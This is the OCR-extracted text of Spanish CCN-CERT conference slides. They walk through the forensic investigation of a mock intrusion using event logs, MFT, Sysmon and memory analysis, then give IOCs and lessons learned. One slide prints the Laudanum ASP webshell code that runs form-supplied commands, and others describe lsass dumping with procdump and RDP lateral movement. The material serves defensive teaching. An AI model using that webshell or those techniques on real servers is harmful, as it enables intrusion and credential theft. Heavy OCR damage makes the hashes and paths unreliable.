- 5e inserta un USB con las herramientas en el equipo.




I #XI1IIJORNADASCCNCERT

Se verifican los hashes

4] HashMyFiles — O pd
File Edit WView Options Help
0@ EHE=E QA

Filename - MD5 SHA-256

MIMAF_webserver_inetpu... 68717138e0856fd3667e275ecblclcad  11fc7304193969d65324743cbecb25780a85b036d35efalaebbad1blaseddas
= MIMNAF_webserver_tnage.z... f49021ffc800404675c2f96cfcBed477 62664245071a72af2452bbald3912099295d7bf313df25eaad 596 765a563 99 ¢
MIMNAF_bro.tar.gz afelc/ab7laled302044c95aed737fab 37 cdlTbaldeadd 03338197 de920b5ed 3e3f 2bde/0ce 0] 5b039F 1330203
|| MINAF_webserver.mem f179cdfb2d8aad1c187982083a6c10c]  41746ee80471d9b8deal 16c 7 ad8elfbe3bi5d 14048272 2ealc 0 1d4984ed

£

4 file(s)

coN-cert
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Paso 1: EventLog

I - X111JORNADASCCNCERT

= Revisamos logs del Sistema

System Numero de eventos: 600

Mivel Fecha y hora Origen |d. del evento Categoria de la tar... ™
@Infnrmacic’un 03/1172019 20:26:51 Kernel-General 12 Minguno
@Infnrmacic’un 03/11/2019 20:26:54 FilterManager & MNinguno
ﬁ Critico 03/11/2019 20 26:57 Kernel-Power 41 [B83)
@ Informacion 03/11/2019 20:27:02 Kernel-Processor-... 26 (4)
@ Informacion 03/11/2019 20:27:13 UserPnp 20010 (7010)
@Infnrmacic’un 03/11/2019 20:27:13 Service Control M... 7036 NMinguno
@Infnrmacic’un 03/11/2019 20:27:14 Service Control M... 7036 NMinguno
@Infnrmacic’un 03/11/2019 20:27:14 FilterManager & Minguno
@Infnrmacic’un 03/11/2019 20:27:14 Service Control M... 7036 Minguno
@Infnrmacic’un 03/11/2019 20:27:14 Service Control M... 7036 Minguno
@Infnrmacic’un 03/11/2019 20:27:15 Service Control M... 7036 MNinguno

03/11/2019 20:27:17 EventlLog Mingunao
@Infnrmacic’un 03/11/2019 20:27:17 EventlLog 6003 MNinguno W
Evento 6008, EventlLog x

General  Detalles

IEI cierre anterior del sisterna a las 20:25:09 del 03/11/2019 resulto inﬁperadn.l

coN-cert
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Paso 1: EventLog

= Revisamos logins en Security

Security 5 MNumero de eventos: 437 Security_5 MNumero de eventos: 437
= Filtrados:Registro: =7 Filtrados:Registro:
Mivel Fechay hora Origen Id. del evento  Categoria MNivel Fecha y hora Origen Id. del evento
L Informacidn 03/11/2019 20:31:11 Microsoft Windo... Logon @Informacién 03/11/2019 20:33:15 Microsoft Windo... 4624
{Dlnformacién 03/11/2019 20:31:11 Microsoft Windo... 4624 Logon @Informacién 03/11/2019 20:35:41 Microsoft Windo... 4524
@Infarmacic’m 03/11/2019 2(0:32:26 Microsoft Windo.., 4624 Logon @Infurmacién 03/11/2019 20:57:09 Microsoft Windo... 4624
@Informacién 03/11/2019 20:32:38 Microsoft Windo.., 4624 Logon 1 Informacion 03/11/2019 20:57:10 Microsoft Windo...
Evento 4624, Microsoft Windows security auditing. Evento 4624, Microsoft Windows security auditing.
General Detalles General Detalles
Se inicio sesion correctamente en una cuenta. 5Se inicid sesion correctamente en una cuenta.
Firmante: Firmante:
Id. de seguridad: SYSTEM Id. de seguridad: SYSTEM
Mombre de cuenta: WEBSERVERS Mombre de cuenta: WEBSERVERS
Dominio de cuenta: MINAF Dominio de cuenta: MINAF
Id. de inicio de sesign: Ox3EY Id, de inicio de sesign: 37
Tipo de inicio de sesion: 10 Tipo de inicio de sesion: 10
Muevo inicio de sesion: MNuevo inicio de sesion:
Id. de seguridad: 5-1-5-21-3993753849-1513836012-2919521276- 1111 Id. de seguridad: 5-1-5-21-3993753849-1513836012-2919521276-1111
Mombre de cuenta: salvador bendito Mombre de cuenta: salvador.bendito
Dominio de cuenta: MINAF Dominio de cuenta: MIMNAF
Id, de inicio de sesign: 0x2C478 Id. de inicio de sesign: OxBA385
GUID de inicio de sesian: {00000000-0000-0000-0000-000000000000} GUID de inicio de sesidn: {D0000000-0000-0000- 0000- 000000000000}
Informacion de proceso: Informacion de proceso:
Id. de proceso: Ixb74 Id. de proceso: Oxcfd
Mombre de proceso: CAWindows\Systern32\winlogon.exe Mombre de proceso: CAWindows\System32\winlogon.exe
Informacion de red: Informacion de red:
Mombre de estacion de trabajo: WEBSERVER Mombre de estacion dew. ER
Direccién de red de origen: 10.11.2.13 Direccién de red de origef: 101.132.122.231 CN-CEIT
Puerto de origen: 50193 Puerto de origen: 32818 | entto ptoléots natonal




I~ XIIIJORNADASCCNCERT
Paso 1: EventLog

= Acceso NO AUTORIZADO por RDP. Confirmamos en los
logs de TerminalServices-RemoteConnectionManager

Microsoft-Windows-TerminalServices-RemoteConnectionManageri:4Operational 3 Numero de eventos: 33 Microsoft-Windows- TerminalServices-RemoteConnectionManager®40perational_3 MNumero de eventos: 38

= Filtrados:Registro: =7 Filtrados:Registro:

Mivel Fechay hora Origen ld, del evento Nivel Fechay hora - Origen Id. del evento
@ ' e @Infnrmac?n::ln 03/11/2019 20:24:57 TerminalServices-.. 1149
(i) Informacién 03/11/2019 20:37:13 TerminalServices-... 1149 ®|nfmmacf?n O3/TV/2019 203110 Terminalbervices:. st
(i) Informacisn 03/11/2019 20:37:14 TerminalServices-.. 1149 (Dl"fmmacf'?" 03/11/2019 203713 Termfnalsewfm"" e
(i) Informacién 03/11/2019 20:57:09 TerminalServices-... 1149 ®|"f°rmac" uﬂwmm?ﬂ Term"alsemﬁ"” lac
@Infnrmaciuﬁn 04/11/2019 10:02:42 TerminalServices-... 1149 Inf-:-rmau:nn 03/11/2019 20:57:04 TErmnaIEEr\ﬂ:P_ﬁ-...
(i) Informacién 04/11/2019 11:18:01 TerminalServices-... 1149 (D'”f”"'”“f”” 041172019 10:02:42 TerminalServices-... 1149
@® Informacién 04/11/2019 15:00:03 TerminalServices-... 1149 @Infnrmacuﬁn 04/11/201911:18:0 TerminalServices-... 1149
(i) Informacién 05/11/2019 14:42:17 TerminalServices-... 1149 (@ informacin 04/T1/2018 15:00:03 TerminalServices-.. 1149
@Infnrmaci-ﬁn 05/11/2019 144217 TerminalServices-... 1149

Evento 1149, Terminal5ervices-RemoteConnectionManager

Evento 1149, TerminalServices-RemoteConnectionManager

General Detalles
General Detalles

Senvicios de Escritorio remoto: autenticacion de usuario correcta:

Usuao: SzEKCtMN
Domihio: NVEACWg
Direccion de red de origen: 101,132.122.231

Servicios de Escritorio remoto: autenticacion de usuario correcta:

Usuario: salvador.bendito

Dorninio:
Direccion de red de origeng101.132.122.231 r
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Paso 1: EventLog

= Revisamos los logs de Sysmon = Log lleno y eventos
sobreescritos > 04/11 0:44

= Detectam m WEBSERVER = ADMINPCT
eteCtamaos primer acceso

Microsoft-Windows-Sysmon%40perational 2 Mimero de eventos: 93,901 Microsoft-Windows-Sysmon%40perational 2 MNimero de eventos: 93.901
=7 Filtrados:Registro: =y Filtrados:Registro:
Mivel Fecha y hora Origen Id. del evento  Categoria de latar.. ™ Mivel Fechay hora - Origen Id. del eventa

Inf-:-rma-:nn 04,/1172019 0:44:57 Sysmaon 1 Process Create (rul... (D Infarmacian 04/11/2019 15:04:09 Sysrmon 1
@Infurmac!nn 04/11/2019 (e44:57 Sysmaon 1 Process Create (rul... @lnfl:lrmacilfln 04/11/2019 15:04:20 Sysmion 1
@Infurmacuﬁn 04/11/2019 1:20:51 Sysmaon 1 Process Create (rul... Inf ” 04/11/2019 15:05:03 - 1

0 Ci0 401142 3:05:03 Sysmo
(i) Informacién 04/11/2019 1:38:02 Sysmon 1 Process Create (rul... (D 4 l_lrr‘nal_un . — smen
@Infurmacién 04/11/2019 1:38:02 Sysmaon 1 Process Create (rul... Infl:urmac?cun 04/11/2019 15:13:12 Sysmon 1
@Infurmacién 04/11/2019 1:38:02 Sysmaon 1 Process Create (rul... anfnrmacmn 04/11/2019 15:14:11 Sysmon 1
r:i:lIn1‘|:urr'r1a-:i|5n 041172019 1:44:56 Sysmaon 1 Process Create (rul... —— - e £ :
(i) Informacién 04/11/2019 1:44:57 Sysmon 1 Process Create (rul... Evento 1, Sysmon
r:i:lIn1‘|:urr'r1a-:i|5n 041172019 1:45:14 Sysmaon 1 Process Create (rul.. General | Detall
— es
Evento 1, Sysmon ]
General Detall Process Create:
= RuleMame: 2019-11-04 14:05:03.761
UteTime: {175aba5c-300f- 5dc0-0000-001091220400}

e ProcessGuid: 276

RuleMarme: 2019-11-03 23:44:57.002 Processid: 0

UtcTime: {175aba5c-6679-5dbf-0000-001084690=00} Image: "C:\Windows' s e

Processoud: 2272 FileVersion: C:\Windows\system32\

Image: taskeng.exe {BFCOCTE8-5A30-43BF-8A22-A25D4ABFABBY} 5-1-5-18:NT AUTHORITY\System:Service: Description: MINAR\salvador.bendito

FileVersion: C:\Windows\system32, Product: {173aba5c-2eed-5dc0-0000-0020f dThO3 00}

Description: NT AUTHORITY\SYSTEM Company: 0x37bfd

Product {175aba5c-2a0e-5dbf-0000-0020=7030000} OriginalFileMarme: 2

Company: Dx3e7? CormmandLine: Medium

1TirmirnalEilablarme | B | = M e ke e CLIAY  DAMTEADOCCCO DO T TE T TAT 19 AT CAMOCMAC DY RAME  CACTOACOOCCAd ADCTE—C AT 4
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Paso 2: MFT

= Revisamos la MFT en busca de actividad maliciosa

|2018-11-03 15:44:16 2015-11-03 159:44:15 |20159-11-03 15:44:15 340312 \U sers\sahvador. bendito\AppD ata\l ocahG oogle\C hrom e'\U ser Data\SwhR eponerdd. 215 200em001_&4.dll
|2015-11-03 15:44:16 2018-11-03 15:44:16 2018-11-03 15:44:16 458824 \U sers\sahvador. bendio\AppD ata\LocalG cogle\Chrom e\l ser Data\swReponterdd. 215 200vedl=s_64.dll
[2019-11-03 19:44:33 2019-11-03 19:44:33 2019-11-03 19:44:34 F1672 \Windows\System 32\feliz.exe

|2015-11-03 15:45:28 2018-11-03 15:45:28 20158-11-03 19:45:29 | 36552347 \Windows\System 32\feliz.dmp

|2015-11-03 15:45:45 2018-11-03 15:45:45 2018-11-03 15:45:45 66|\ sers\sahvador bendito\AppD ata\l ocahG oogle'C hrome\U ser Data\Subresource FitenlU nindexed Rules\9.5
12018-11-03 15:45:45 2015-11-03 159:45:45 |20159-11-03 15:45:45 \Users\sahvador. bendito\AppD ata\l ocalhG oogle\C hrom e\U ser Data\Subresogurce Fiterdndexed Rules
2015-11-03 18:45:45 2015-11-03 159:45:45 2018-11-03 15:45:45 \Users\sahvador bendio\AppD ata\l ocahG oogle\C hrome\U ser Data\Subresource FitenU nindexed Rules\9.5

:21}19—11—01}3 15:45:45 2015-11-03 15:45:45 |2015-05-30 05:13:32 | 5405467 \U=sers\salvador. bendino\AppD ata\LocalG oogle\Chrome\l ser Data\Subresource Fier\U nindexed Rules\9.5
12015-11-03 15:45:45 2018-11-03 15:45:45 |2018-08-30 05:13:34 24623 \U sers\zabvador bendito\AppD ata\l ocalhG oogle'\Chrome\U ser Data\Subresource Filter\l nindexed Rules\8.5

= No tenemos el disco... pero el .dmp nos hace pensar

= Mimikatz es ruidoso. Volcar la memoria de Isass.exe con
procdump, exfiltrarla y tirarlo offline, no ®

= Descargamos procdump y comparamos tamafios = Match!

coN-cert
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Paso 2: MFT

= Elequipo es un servidor web - Punto de entrada ideal

= Revisamos la MFT a fondo en busca de contenido
malicioso en el directorio web: C\inetpub\wwwroot

2018-11-03 15:47:36 | 2015-11-03 18:47:36 2018-11-03 15:47.36 ‘U sers\salvador. bendito\AppD ata\LocalG ﬂ-ﬂ-a ieVChrome\l =er Data\pnachD.57.44.2482"_metadata

2018-11-03 18:47:36 2019-11-03 19:47:36 |2017-01-09 20:40:32 3034\ sers\zalvador. benditg D ata\l ocalGoogle\C hrome\l ser Data\pnach0.57.44.2492\ metadataiverified o
2019-11-04 00:35:02 |20159-11-04 00:38:02 |2019-11-03 11:43:02 94\l sers\salvador bendto\AppD ata\Local cogle'C hrome\lU ser Data\CertificateR evocation\b45 " \manifest. jso
2019-11-04 00:35:02 |2019-11-04 0D:38:02 (2019-11-03 00:25:26 1558\ sers\sahvador. bendio'AppD ata\Locah oogleiC hrom e\l ser Data\C ertficateR evocation'b48NLICEN SE

= Recuperamos el fichero de los logs y lo analizamos

4
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Paso 3: inetpub

» E| fichero es una webshell = Laudanum
|<x

Server.ScriptTimeout 1868
ip-request.ServerVariables("REMOTE_ADDR™)
Request.Form{"submit™) e
wshell, intReturn, strPResult
cmd = Request.Form("cmd™)
Response . Write ("Running command: ™ & cmd & "<br />")
wshell = CreateObject("WScript.Shell™)
objCmd = wShell.Exec(cmd)
strPResult - objCmd.StdOut.Readall()
response.write "<br><pre>” replace(replace{strPResult,"<","&1t;"),vbCrlf,"<br>") "< /pre>»"
wshell = nothing

>[lyTMH Ha ypoeBHe</ ><f >
< onload="document.shell.cmd.focus{)">
< action="ehp_doc.asp” method="PO5T" name="ehp.doc"”>
Command: < width="200" type="text" name="cmd" value="<{(¥=cmd¥>" [>< />
< type="submit” name="submit™ wvalue="Submit™ />
<f >Tak paboTaer
<hr/>»
<f >
</
</




' I - X111JORNADASCCNCERT
Paso 3: inetpub

= Revisamos los logs de acceso:

#Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip
sC-substatus sc-winid2-status time-taken

2019-11-83 19:58:53 101.132.122_235 GET /EHP/ehp doc.asp - 88 - 181.132.122.231

Mozilla/5.0+(X11;+Linux+x86 64;+rv:52.0)+Gecko/20108101+Firefox/52.0 200 0 @ 484
2019-11-83 19:51:02 101.132.122.235 POST fEHP/ehp doc.asp - 80 - 181.132.122.231
Mozilla/5.0+(X11;+Linux+x86 64;+rv:52.0)+Gecko/20108101+Firefox/52.0 200 0 @ 406

s \Webshell 2 Acceso secundario de |os atacantes

CN - cm
4l
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Extra: Movimiento lateral

= ;CoOmo se han copiado los ficheros de CHITONSRV?
= ;COmMo aparecio el keylogger?

= Repasamos TODOS los procesos de CHITONSRV ...y solo
esta la session de RDP de supersecretadmin

= . rdpclip.exe - Copy & Paste de RDP
s \erificamos con el volcado de memoria

4l
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Extra: Movimiento lateral

= ClipSerialNumber: elementos en el portapapeles

= Confirmamos la copia de la carpeta Secreto

:\Users\antonio\Desktop\Presentacion STICh\4.1 CHITON Memoria»wvolatility 2.6 win64_standalone.exe -f MINAF_chitonsrv.dmp
--profile Win2816x64 14393 wndscan
Volatility Foundation Volatility Framework 2.6

WindowStation: 6x7e26d878, Name: WinStad, MNext: @x6

SessionId: 2, AtomTable: 8xffffbaebol18f4028, Interactive: True
Desktops: Default, Disconnect, Winlogon

ptibrawingClipboard: pid - tid -

spwndClipOpen: 8x8, spwndClipViewer: 8xfff{f3a686358b98 2738 mmc.exe
cNumClipFormats: &, iClipSerialNumber: 9

pClipBase: 8x8, Formats:

WindowStation: ©x2216958, Name: WinStad, Next: @xffffoe8257eScchd
SessionId: @, AtomTable: 8xffffbaeboo1874c8, Interactive: True
Desktops: Default, Disconnect, Winlogon

ptibrawingClipboard: pid - tid -

spwndClipOpen: 8x8, spwndClipViewer: &8

cNumClipFormats: &, iClipSerialNumber: &

pClipBase: 8x8, Formats:

WindowStation: 6xS544adchb8, Name: Service-8x8-3e7%, Next: Oxffffong8257f71dee
SessionId: @, AtomTable: exffffbaobo8d4ese28, Interactive: False
Desktops: Default

ptibrawingClipboard: pid - tid -

spwndClipOpen: 8x8, spwndClipViewer: &8

cNumClipFormats: &, iClipSerialNumber: &

pClipBase: 8x8, Formats:

ko
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_loCc_

= |P maliciosa: 101.132.122.231

= Servidores con reinicios no planificados

= Uso de la webshell Laudanum modificada
» Fichero feliz.exe = prodcump

4l
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Analisis del incidente: Objetivos

= Alcance: 3 equipos comprometidos

= |mpacto: Copia de la carpeta de Documentacion
del EHP, compromiso de credenciales de un
admin de dominio, compromiso de un servidor
expuesto a Internet

= |0C9

= \ector de entrada: Bluekeep

= Exfiltracion de datos por TeamViewer,
despliegue del Keylogger Refog, dump de
credenciales con procdump, uso de webshell
Laudanum

4
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Resultados de la respuesta ante incidentes
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Conclusiones del analisis forense |

» | 0s atacantes han descubierto WEBSERVER

= Han explotado BlueKeep y conseguido acceso

= Han volcado la memoria de Isass.exe con procdumpy
obtenido offline las credenciales de salvador.bendito

= Han iniciado sesion por Escritorio Remoto

= Han dejado una webshell (Laudanum) como backup

4l
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Conclusiones del analisis forense |l

s | 0s atacantes han iniciado sesion en ADMINPCT

= Han reconocido la red y encontrado CHITONSRV

" Han intentado acceder con las credenciales de admin de
dominio sin éxito

= Han desplegado un keylogger y esperado a que
salvador.bendito entrara en CHITONSRYV con

supersecretadmin

4l
<entro criptolégico nacional



I - X111JORNADASCCNCERT

Conclusiones del analisis forense |l

s | 0s atacantes han entrado en CHITONSRYV via Escritorio
Remoto y usado el portapapeles para copiar los datos

= Han instalado el TeamViewer en ADMINPCT, y lo han
empleado para exfiltrar los datos

» Todas las conexiones se han realizado encadenando
sesiones de Escritorio Remoto: Atacantes -
WEBSERVER=> ADMINPCT = CHITONSRYV

4l
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Erradicacion

= Apagamos todos los
equipos afectados

= Buscamos los |OC en todo
el parque

* Repasamos TODOS los
equipos en la DM/

=
centro criptolégico nacional



I~ XIIIJORNADASCCNCERT
Recuperacion

= Restauramos snapshots
previos sanos de las VM de
0s servidores

» Remaquetamos ADMINPCT

= Cambiamos las
credenciales de todos los
admin de dominio

4
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:BD comprometida?

= NoO hay acceso a equipos de altos cargos

» Se usa cifrado fuerte (AES-256) = |Estamos a salvo!
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Diseminacioén

= Se realiza un informe del incidente

= Se comunican los 10C al CCN-CERT

= Se notifica el incidente a la AEPD

= Se crea un informe publico del incidente

4l
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Compartimos inteligencia

Se agrupan todos los I0C con un
pequeno informe

Se genera un ticket en LUCIA

Alternativa: correo cifrado a:
iNncidentes@ccn-cert.cni.es

CCN-CERT distribuye los 10C via
REYES

4l
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. y I~ XIIIJORNADASCCNCERT
Atribucion

= Araiz delos |OC, el CCN-CERT afirma que el ataque
ha sido realizado por Anjapistan (ex-URSS chunga)

= (Colaboracion internacional = Nuevos IOCy TTP

4l
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4.

Lecciones aprendidas
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Pasa a produccion de forma ordenada




#XIIJORNADASCCNCERT

ontrola el perimetro con extremo prejuicio
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Parchea BIEN los sistemas

m NaaS

Napa as a Service

4
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Segmenta las credenciales por niveles

&
et

Same Tier

Control

-
A 4

Lower Tier
Control

Higher Tier

Control

Blocked

L

Only as required
* Microsoft Active Directory administrative tier model by role

4
<entro criptolégico nacional
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Controla los accesos: Firewall + saltos




#XIIIJORNADASCCNCERT

Prohibe admin. de dominio en los escritorios




#XIIJORNADASCCNCERT

Actualiza a W10/ W2016 S

coN-cert
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Cifrar tu pellejo puede salvar
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Extra 1: Sysmon

Microsoft-Windows-Sysmon%40perational_1  Nimero de eventos: 5.130 Microsoft-Windows-Sysmon%40perational 1 Mirmero de eventos: 5.130

“F  Filtrados:Registro: file://C:\Users\antonio\Desktop'Presentacion_STIC\2.6 ADMINPC1_EventLog\Microsoft-Windows| “F  Filtrados:Registro: file://C:\Users\antonio' Desktop\Presentacion_STIC\2.6_ADMINPC1_EventLogiMicrosoft-Windows-Sysmon %40 perational evbe
g P g g P g yS P
Mivel Fecha y hora Origen Id. del evento  Categorif| Mivel Fecha y hora Origen Id. del evento  Categoria de la tar...
(i) Informacién 04/11/2019 15:07:33 Sysmon 1 Process | (i) Informacién 04/11/2019 15:08:23 Sysmon 1 Process Create (rul..
@Infnrmacién 04/11/2019 15:08:06 Sysmon 1 Process! r:DIr'|1:|3rn'1ar:iufur1 041172019 15:0%:02 Sysmon 1 Process Create (rul...
1 Informacicn 04/11/2019 15:08:23 Sysmon 1 ess | 0L, Informacidn 04/11/2019 15:09:29 Sysmon 1 Process Create (rul...
@Infnrmacién 04/11/2019 15:09:02 Sysmon 1 Process! @Infnrmaciuﬁn 041172019 15:09:46 Sysmaon 1 Process Create (rul...
@Infnrmacién 0471172019 15:09:29 Sysmon 1 Process! r:DInfum'ﬁ.icil:'ln 041172019 15:0%:51 Sysmon 1 Process Create (rul...
@Infnrmacién 04/11/2019 15:0%:46 Sysmon 1 Process! @Infnrmaciuﬁn 04/11/2019 15:11:38 Sysman 1 Process Create (rul..,
Evento 1, Sysmon Evento 1, Sysmon
General Detalles General Detalles

Process Create: Process Create:

RuleMarne: RuleMName:

UtcTime: 2019-11-04 14:08:23.661 UtcTime: 2019-11-04 14:09:29.146

ProcessGuid: {64390 5fd-30d7-5dc0-0000-0010c5bc0d} ProcessGuid: {6439b5fd-3119-5d c0-0000-00102ae20d01}

Processld: 7696 Processld: 3444

Image: C:AWindows\System32\net.exe Image: C:\Windows\System32\mstsc.exe

FileVersion: 10.0.17134.1 (WinBuild.160101.0800) FileVersion: 10.0.17134.112 (WinBuild.160101.0200)

Description: Net Command Description: Remote Desktop Connection

Product: Microsoft® Windows® Operating Systermn Product: Micrasnf‘t@ Windu:uws_@ Operating System

Company: Microsoft Corporation CD_M_FIEr‘ij: Microsoft Corporation

OriginalFileName: net.exe OriginalFileMame: rmstsc.exe

CommandLine: net use'\192,168.1.2%c5 CommandLine: "CAWINDOWS\system32\mstsc.exe”

CurrentDirectory: C\Users\salvador.bendito', CurrentDirectory: CAWINDOWS\system32\

User: MINAF\salvador.bendito User: MINAF\salvador.bendito

LogonGuid: {6439b5fd-1£35-5dbf-0000-002036821200} LogonGuid: {6439b 5fd-1£33-5dbf-0000- 002036821200}

Logonld: (k128236 Logonld: 0x128236

TerminalSessionld: 1 TerminalSession|d: 1

IntegrityLevel: Medium IntegrityLevel: Medium

Hashes: MD5=15534275EDAABC58159DDOFS607AT1ES, SHA256= E9739D544EE0D428606036CBD656C41DCC505867CC43|  [Hashes: MD5=3FF04F97C32CD350F936D4CD268CBAFE, SHAZ56=5BA2B2852DATIFC124C39E1E3458C83338DD2CE3834CBA63F1FIC21747235802

ParentProcessGuid: {6439b5fd-3062-5dc0-0000-0010cb590d01} ParentProcessGuid: {6439b5fd-1f42-5dbf-0000-001057841300}

ParentProcessld: 3912 ParentProcessld: 5436

Parentlmage: C:\Windows\System32\cmd.exe Parentimage: C:\Wlndnws\mcplorer.ace

ParentCommandLine: "C:\WINDOWS\system32\cmd.exe" ParentCommandLine: CAWINDOWS\Explorer.EXE
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Extra 1: Sysmon

Mirnero de eventos: 5.130

Microsoft-Windows-Sysmon %40 perational_1

Microsoft-Windows-Sysmon%%40perational_1 MNumero de eventos: 5.130

=7 Filtrados:Registro: =7 Filtrados:Registro:

Mivel Fecha y hora Origen Id. del evento  Categoria de la tar..  *]|| Mivel Fecha y hora Origen Id. del evento  Categoria de la tar... ™
@Informacién 04112019 15:13:09 Sysmon 1 Process Create (rul... @Infnrmacién 05/11,/2019 14:54:25 Sysmon 1 Process Create (rul...
U Informacion 0471172019 15:13:10 Sysmon 1 Process Create (rul... @Infnrmacién 05/11/2019 14:54:25 Sysmon 1 Process Create (rul...
@Infarmacic’m 04/11/2019 15:13:11 Sysmon 1 Process Create (rul... @Infnrmacién 05/11/2019 14:54:26 Sysmon 1 Process Create (rul...
@Infurmaciuﬁn 0471172019 15:13:14 Sysmon 1 Process Create (rul.. ¥ @Infnrmacién 05/11/2019 14:54:26 Sysmon 1 Process Create (rul...
Evento 1, Sysmon x @Infurmacién 05/11/2019 14:54:27 Sysmon 1 Process Create (rul...
#1 Informacion 05/11/2019 14:54:40 Sysmon 1 Process Create (rul...

General  Detalles (i) Informacicn 05/11/2019 14:56:54 Sysmon 1 Process Create (rul.. .,

Process Create: Evento 1, Sysmon x

RuleMame:

UtcTime: 2019-11-04 14:13:10.413

ProcessGuid: {6439b5fd-31f6-5d c0-0000-00108ad 80101}

Processld: 4704

Image: C\Users\SALVAD~1.BEN\AppDatatLocal\Temphis-TEPOL.tr p\686DEB60-AG06-469A- A6A4-TASTAFOE6AG.tmp
FileVersion: 51.1052.0.0

Description: Setup/Uninstall

Product: 7

Company: 7

OriginalFileMame: ?

CommandLine: "C:\Users\SALVAD~1.BEN\AppData\Local\Temphis-T6POL.tmp\686DEBGD- A606-469A- ABAL-
TAITAIFO66AG.trmp" /5L5="33044C, 11209581,121344, CAWINDOWS\SysWOWES MP K\ 686 DEBG0-ABDG-469A-A6AL-
TAITAIFO66AG.exe” /SDI=0 JAF="CAWINDOWS\SysWOWBSMPEL" /LOG="CAWINDOWS\SysWOWENMPK

\og.txt" /VERYSILENT /SUPPRESSMSGBOXES /MORESTART /RESTARTEXITCODE=100 /PASSWORD=9f42040a-7b35-4f3f-a546-
91c708a2b843 /PM /ULS= 10000000000

CurrentDirectory: C:\Users\salvador.bendito3D Objectsh,

User: MINAF salvador.bendito

LogonGuid: {6438b5fd- 1f35-5dbf-0000-0020bd211200}

Logonld: Ox1281BD

TerminalSessionld: 1

IntegrityLevel: High

Hashes: MD5=C3A2FEODGBEAICETFISEBBATYI 0OEFIT SHA256=
6938DB6ASAEAASBZGCFAFEIBA1224C2C95A274187ESBD32D5E663093E02949140

ParentProcessGuid: {6439b5fd-31f5-5dc0-0000-0010dacfOf01}

ParentProcessld: 956

Parentimage: CYWindows) SysWOWENMPK\686DEBE0-ABDE-469A- A6AL-TAITATFD6EAS. exe

ParentCommandLine: CAYWINDOWS\SysWOWeNMPK\G36DEB60-AB06-469A- A6A4-TATTAFO6BAL.exe /SDI=0 JAF="C:
WWINDOWS\SysWOWERMPEL" /LOG="CAWINDOWS\SysWOWBNMPK\log.bt” /VERYSILENT /SUPPRESSMSGEOXES
/MORESTART /RESTARTEXITCODE=100 /PASSWORD=9f42040a-7b35-4f3f-a346-91c708a2b843 /PM /ULS= 10000000000

General Detalles

Process Create:

RuleMarne:

UtcTime: 2019-11-05 13:54:40.077

ProcessGuid: {8439b5fd-7f20-5dc1-0000-0010a0a8d 700}
Processld: 600

Image: CGiWindows\SysWOWEMPKAMPKView exe
FileVersion: 9.0.9.3490

Description: 7

Product ?

Company: ?

OriginalFileMarme: 7

CommandLine: chwindows\SysWOWed\ mpk\MPEView.exe
CurrentDirectony: CAWINDOWShsystem 324

User: MINAF\salvador.bendito

LogonGuid: {6439b5fd-1bc2-5dc1-0000-0020ac421e00}
Logonld: Ox1E42AC

TerminalSessionld: 1

IntegrityLevel: Medium

Hashes: MD5=CFA3A41466728335F462EDCCBC2ETBES, SHAZ56=
2CTEDCF722158E5BD14BEAS031C4A3DTAD3TA9EFE28D11B01258915FC0AZ1ER]
ParentProcessGuid: {6439b5fd-1bc3-5dc1-0000-001075611e00}
ParentProcessld: 2760

Parentlmage: C:\Windows'\SysWOWB\MPIAMPE.exe
ParentCommandLine: "chwindows\syswowbdmplkh MPE. exe”




Extra 1: Sysmon

050 do on Y4 Operationa

=7 FiltradosRegistro:

Mivel Fecha y hora : Origen
@Informaciuﬁn 05/11/2019 14:56:58 Sysmon
@Informaciuﬁn 05/11/2019 14:56:58 Sysmon
@Informaciuﬂn 05/11/2019 14:56:58 Sysmon
@Informacién 05/11/2019 14:56:39 Sysmon
@Informacién 05/11/2019 14:57:25 Sysrmon
@Informaciuﬁn 05/11/2019 14:57:25 Sysmon

=

Id. del evento

—_ =

#XIIJORNADASCCNCERT

Categoria de lata

Process Create (ru
Process Create (ru
Process Create (ru
Process Create (ro
Process Create (ru

Process Create (ru

Evento 1, Sysmon

General Detalles

Process Create:

RuleMame:

UtcTirne: 2019-11-05 13:57:39.558

ProcessGuid: {8439b5fd-7fd3-5dc1-0000-0010742ddd 00}
Processld: 5388

Image: CAWindowshSystemn32ynet.exe

FileVersion: 10.0.17134.1 (WinBuild.160101.0800)

Description: Met Command

Product: Microsoft® Windows® Operating Systemn
Cormpany: Microsoft Corporation

OriginalFileName: net.exe

CommandLine: net use’\192.168.1.2\c$

CurrentDirectory: ChUsers\salvador.benditol,

User MINARsalvador.bendito

LogonGuid: {6439b5fd- 1bc2-5dc1-0000-0020ac42 1200}
Logonld: 0x1E42AC

TerminalSessionld: 1

IntegrityLevel: Medium

Hashes: MD5=15534275EDAABCSE159DDOFB6OTATIES, SHA256
=E4739D544EE0D428696036CEDG56C41 DCC05B6TCCA3DBATCREECAE3059282AC
ParentProcessGuid: {8439b5fd-Tic5- 3dc1-0000-0010clced 00}
ParentProcessid: 2192

Parentlmage: C:\Windows\System32\cmd.exe
ParentCommandLine: "CAWINDOWS\systemn32\cmd exe”

OS50 do 40 ¥

=7 Filtrados:Registro:

Mivel Fecha y hora Origen Id. del evento  Categoria de la tar... ™
@Infurmacio’n 05/11/2019 14:57:39 Sysmon 1 Process Create (rul...

"1 Informacicn 05/11/2019 14:58:35 Sysmon 1 Process Create (rul...
(Dlnformaciujn 05/11/2019 14:58:39 Sysmon 1 Process Create (rul..
r:Dlnforr'na-:iu.‘un 05/11/2019 15:00:54 Sysmaon 1 Process Create (rul...
@Infurmacio’n 05/11/2019 15:02:15 Sysmon 1 Process Create (rul...
@Informaciuﬂn 05/11/2019 15:02:51 Sysmon 1 Process Create (rul...
(Dlnformaciujn 05/11/2019 15:02:52 Sysmon 2 Filecreationtime.. ,
Evento 1, Sysmon x

General Detalles

Process Create:

RuleMarne:

UtcTirme: 2019-11-05 13:58:35.198

ProcessGuid: {6439b5fd-800b-5dc1-0000-001010c1dd00}
Processld: 5500

Image: CAWindows\System32\mstsc.exe

FileVersion: 10.0.17134.112 (WinBuild. 160101.0800)
Description: Remote Desktop Connection

Product Microsoft® Windows® Operating System
Cormpany: Microsoft Corporation

OriginalFileMame: mstsc.exe

CormmandLine: "CAWINDOWS\systern32\mstsc,exe"
CurrentDirectony: CAWINDOWS\systern32y

User: MINAP\salvador.bendito

LogonGuid: {6439b5fd-1bc2-5dc1-0000-0020ac421e00}
Logonld: Ox1E42AC

TerminalSessionld: 1

IntegrityLevel: Medium

Hashes: MD5=5FF04FI7C32CD350F93604CD268CBAFS, SHAZ56=
